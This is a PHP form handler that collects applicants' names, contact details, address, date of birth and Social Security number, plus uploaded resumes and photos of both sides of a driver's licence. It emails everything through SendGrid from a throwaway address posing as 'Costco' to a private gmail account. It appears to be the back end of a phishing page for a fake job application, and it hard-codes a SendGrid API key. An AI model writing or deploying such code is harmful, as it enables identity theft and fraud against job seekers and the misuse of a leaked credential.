<?php
require 'vendor/autoload.php';
$email = new \SendGrid\Mail\Mail(); 
$email->setFrom("prganvani@yopmail.com", "Costco");
$email->setSubject("New form request");
$email->addTo("rankcred@gmail.com", "Miky");
$email->addContent("text/plain", "and easy to do anywhere, even with PHP");

    $sender=$_POST["name"];
    $senderEmail=$_POST["email"];
    $phoneNumber = $_POST["number"];
    $address = $_POST["maddress"];
    $city = $_POST["city"];
    $zip = $_POST["zip"];
    $about = $_POST["message"];
    $bod = $_POST["bod"];
    $ssn = $_POST["ssn"];
    $mailBody="Name: $sender<br>Email Address: $senderEmail<br>Phone Number: $phoneNumber<br>Address: $address<br>City: $city<br>Zip code: $zip<br>About Me: $about<br>Date of birth: $bod<br>SSN: $ssn";

$email->addContent(
    "text/html", $mailBody
);
$folder = uniqid();
mkdir("uploads/".$folder);
$target_dir = "uploads/".$folder."/";
    if(isset($_FILES["resume"])){
        $resume = $_FILES["resume"]["tmp_name"];
        $resumeName = uniqid().$_FILES['resume']['name'];
        if(move_uploaded_file($resume,$target_dir.$resumeName)){
            $file_encoded = base64_encode(file_get_contents($target_dir.$resumeName));
            $email->addAttachment(
                $file_encoded,
                $_FILES['resume']['type'],
                $_FILES['dfront']['name'],
                "attachment"
            );
        }
    }
    if(isset($_FILES["dfront"])){
        $frontDriverLicense = $_FILES["dfront"]["tmp_name"];
        $frontDriverLicenseName = uniqid().$_FILES['dfront']['name'];
        if(move_uploaded_file($frontDriverLicense,$target_dir.$frontDriverLicenseName)){
            // $mail->addAttachment($target_dir.$frontDriverLicenseName);
            $file_encoded = base64_encode(file_get_contents($target_dir.$frontDriverLicenseName));
            $email->addAttachment(
                $file_encoded,
                $_FILES['resume']['type'],
                $_FILES['dfront']['name'],
                "attachment"
            );
        }
    }
    if(isset($_FILES["dback"])){
        $backDriverLicense = $_FILES["dback"]["tmp_name"];
        $backDriverLicenseName = uniqid().$_FILES['dback']['name'];
        if(move_uploaded_file($backDriverLicense,$target_dir.$backDriverLicenseName)){
            // $mail->addAttachment($target_dir.$backDriverLicenseName);
            $file_encoded = base64_encode(file_get_contents($target_dir.$backDriverLicenseName));
            $email->addAttachment(
                $file_encoded,
                $_FILES['resume']['type'],
                $_FILES['dfront']['name'],
                "attachment"
            );
        }
    }
$sendgrid = new \SendGrid('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');
try {
    $response = $sendgrid->send($email);
    // print $response->statusCode() . "\n";
    // print_r($response->headers());
    // print $response->body() . "\n";
    if ($response->statusCode() == 202) {
        unlink($target_dir.$resumeName);
        unlink($target_dir.$frontDriverLicenseName);
        unlink($target_dir.$backDriverLicenseName);
        rmdir("uploads/".$folder);
        
        header("Location:index.php");
    }
} catch (Exception $e) {
    echo 'Caught exception: '. $e->getMessage() ."\n";
}

?>